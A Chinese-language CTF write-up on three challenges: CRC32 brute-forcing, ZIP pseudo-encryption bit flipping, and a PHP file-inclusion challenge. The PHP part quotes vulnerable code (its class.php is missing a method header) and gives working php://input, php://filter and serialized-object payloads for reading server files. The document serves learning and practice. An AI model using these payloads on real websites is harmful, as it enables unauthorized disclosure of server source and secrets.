涨姿势
1.CRC校验
2.Zip伪加密
3.PHP伪协议
CRC校验
解题思路
CRC32是由数据的每一位都参加的运算得出的,已知flag是6位数,可以爆破
WriteUp(引用自米安网)
import binascii
real = 0x9c4d9a5d
for y in range(100000, 999999):
if real == (binascii.crc32(str(y)) & 0xffffffff):
print(y)
涨姿势点——CRC的不同含义
在计算机网络(第七版)中,CRC计算中得到的余数称为FCS,而在此题中(估计也是大多数类似的情况中)crc代表CRC计算得到的余数。
Zip伪加密
解题思路
既然是伪加密,只要把Zip相应的标志位改为未加密就行
WriteUp
如上图,01修改为偶数即可
涨姿势点——Zip加密标志位
发现一个加密文件的好方法,把一个未加密的Zip文件的加密标志位改动(具体位置参考zip官方文档),解压时就会提示需要密码,这时就算给你个天河一号你也爆破不出密码,因为这根本就没有密码。经过实验,这要把相应位置改为奇数就可以达到伪加密效果
PHP伪协议
页面源代码
you are not admin !
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin"))
{
echo "hello admin!<br>";
include($file); //class.php
}
else
{
echo "you are not admin ! ";
}
-->
class.php源代码
<?php
class Read
{ //f1a9.php
public $file;
{
if(isset($this->file))
{
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
?>
解题思路
可以发现先获取user参数,判断user是否是admin,如果是会加载class.php文件。可以判断flag在class.php内。利用伪协议和Hackbar构造post数据,进入if语句,再用伪协议获取class.php文件内容,最后构造pass参数使class.php工作以获取flag
涨姿势点——PHP伪协议,Hackbar发送post数据
user=php://input 然后加上Hackbar发送的数据 手动添加参数
file=php://filter/convert.base64-encode/resource=文件名 伪协议查看文件内容
pass=O:4:"Read":1:{s:4:"file";s:10:"./f1a9.php";} 构造的pass参数(反序列化)
备注
因为user是判断一句话,话中有空格,所以使用php://input,还和file_get_contents($user,'r')==="the user is admin"这句判断有关系,不然user参数可以直接写在url中